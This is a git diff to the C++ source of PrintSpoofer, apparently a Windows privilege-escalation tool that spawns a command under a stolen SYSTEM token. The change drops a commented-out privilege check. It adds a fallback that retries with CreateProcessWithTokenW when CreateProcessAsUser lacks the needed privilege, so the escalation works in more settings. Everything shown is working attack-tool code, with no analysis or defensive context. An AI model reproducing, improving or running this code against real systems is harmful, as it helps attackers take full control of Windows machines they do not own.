diff --git a/PrintSpoofer/PrintSpoofer.cpp b/PrintSpoofer/PrintSpoofer.cpp index 94d38e1..813b87a 100644 --- a/PrintSpoofer/PrintSpoofer.cpp +++ b/PrintSpoofer/PrintSpoofer.cpp @@ -470,12 +470,6 @@ BOOL GetSystem(HANDLE hPipe) goto cleanup; } - //if (!CheckAndEnablePrivilege(hSystemToken, SE_ASSIGNPRIMARYTOKEN_NAME)) - //{ - // wprintf(L"A privilege is missing: %ws\n", SE_ASSIGNPRIMARYTOKEN_NAME); - // goto cleanup; - //} - if (g_dwSessionId) { if (!SetTokenInformation(hSystemTokenDup, TokenSessionId, &g_dwSessionId, sizeof(DWORD))) @@ -509,11 +503,40 @@ BOOL GetSystem(HANDLE hPipe) if (!CreateProcessAsUser(hSystemTokenDup, NULL, g_pwszCommandLine, NULL, NULL, g_bInteractWithConsole, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi)) { - wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError()); - goto cleanup; - } + if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD) + { + wprintf(L"[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().\n"); + + RevertToSelf(); - wprintf(L"[+] CreateProcessAsUser() OK\n"); + if (!g_bInteractWithConsole) + { + if (!CreateProcessWithTokenW(hSystemTokenDup, LOGON_WITH_PROFILE, NULL, g_pwszCommandLine, dwCreationFlags, lpEnvironment, pwszCurrentDirectory, &si, &pi)) + { + wprintf(L"CreateProcessWithTokenW() failed. Error: %d\n", GetLastError()); + goto cleanup; + } + else + { + wprintf(L"[+] CreateProcessWithTokenW() OK\n"); + } + } + else + { + wprintf(L"[!] CreateProcessWithTokenW() isn't compatible with option -i\n"); + goto cleanup; + } + } + else + { + wprintf(L"CreateProcessAsUser() failed. Error: %d\n", GetLastError()); + goto cleanup; + } + } + else + { + wprintf(L"[+] CreateProcessAsUser() OK\n"); + } if (g_bInteractWithConsole) {